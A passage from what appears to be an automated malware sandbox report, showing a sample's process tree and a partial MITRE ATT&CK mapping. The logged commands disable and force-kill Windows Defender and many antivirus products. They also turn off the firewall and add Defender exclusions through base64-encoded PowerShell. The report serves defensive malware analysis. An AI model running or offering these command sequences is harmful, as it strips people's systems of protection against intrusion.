- - C:\Windows\SYSTEM32\sc.exe
    sc config McAfee start= disabled
    3⤵
    - Launches sc.exe
    PID:2140
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "Windows Defender"
    3⤵
    - Launches sc.exe
    PID:5612
- - C:\Windows\SYSTEM32\sc.exe
    sc config "Windows Defender" start= disabled
    3⤵
    - Launches sc.exe
    PID:1520
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avast*.exe
    3⤵
    - Kills process with taskkill
    PID:3524
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avg*.exe
    3⤵
    - Kills process with taskkill
    PID:4412
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im avira*.exe
    3⤵
    - Kills process with taskkill
    PID:2604
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im bitdefender*.exe
    3⤵
    - Kills process with taskkill
    PID:1936
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im kaspersky*.exe
    3⤵
    - Kills process with taskkill
    PID:5124
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mcafee*.exe
    3⤵
    - Kills process with taskkill
    PID:5272
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im norton*.exe
    3⤵
    - Kills process with taskkill
    PID:2328
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im symantec*.exe
    3⤵
    - Kills process with taskkill
    PID:4880
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im trend*.exe
    3⤵
    - Kills process with taskkill
    PID:4844
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im panda*.exe
    3⤵
    - Kills process with taskkill
    PID:2032
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im eset*.exe
    3⤵
    - Kills process with taskkill
    PID:4980
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msmpeng*.exe
    3⤵
    - Kills process with taskkill
    PID:4404
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msseces*.exe
    3⤵
    - Kills process with taskkill
    PID:5080
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mbam*.exe
    3⤵
    - Kills process with taskkill
    PID:1060
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mbamservice*.exe
    3⤵
    - Kills process with taskkill
    PID:5452
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im defender*.exe
    3⤵
    - Kills process with taskkill
    PID:3740
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2416
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im antivirus*.exe
    3⤵
    - Kills process with taskkill
    PID:2732
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABhADcANwA1ADMANQA0ADMAZABiADcANQBiADkAOQA5ADYAMAAxADYAMAAzADMAMABlADEANQBmADcAZAAzAGMAMAA1ADcAZABkAGEAYgBmADkAOQAzAGQANgBiADEAMQAzADgAOAAzADcAYwBjADkAZAAzADEANQAxAGUAZgBhAC4AZQB4AGUAIgA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAIgA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACIAYQA3ADcANQAzADUANAAzAGQAYgA3ADUAYgA5ADkAOQA2ADAAMQA2ADAAMwAzADAAZQAxADUAZgA3AGQAMwBjADAANQA3AGQAZABhAGIAZgA5ADkAMwBkADYAYgAxADEAMwA4ADgAMwA3AGMAYwA5AGQAMwAxADUAMQBlAGYAYQAuAGUAeABlACIA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\del_6250.bat"
    3⤵
    PID:3292
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry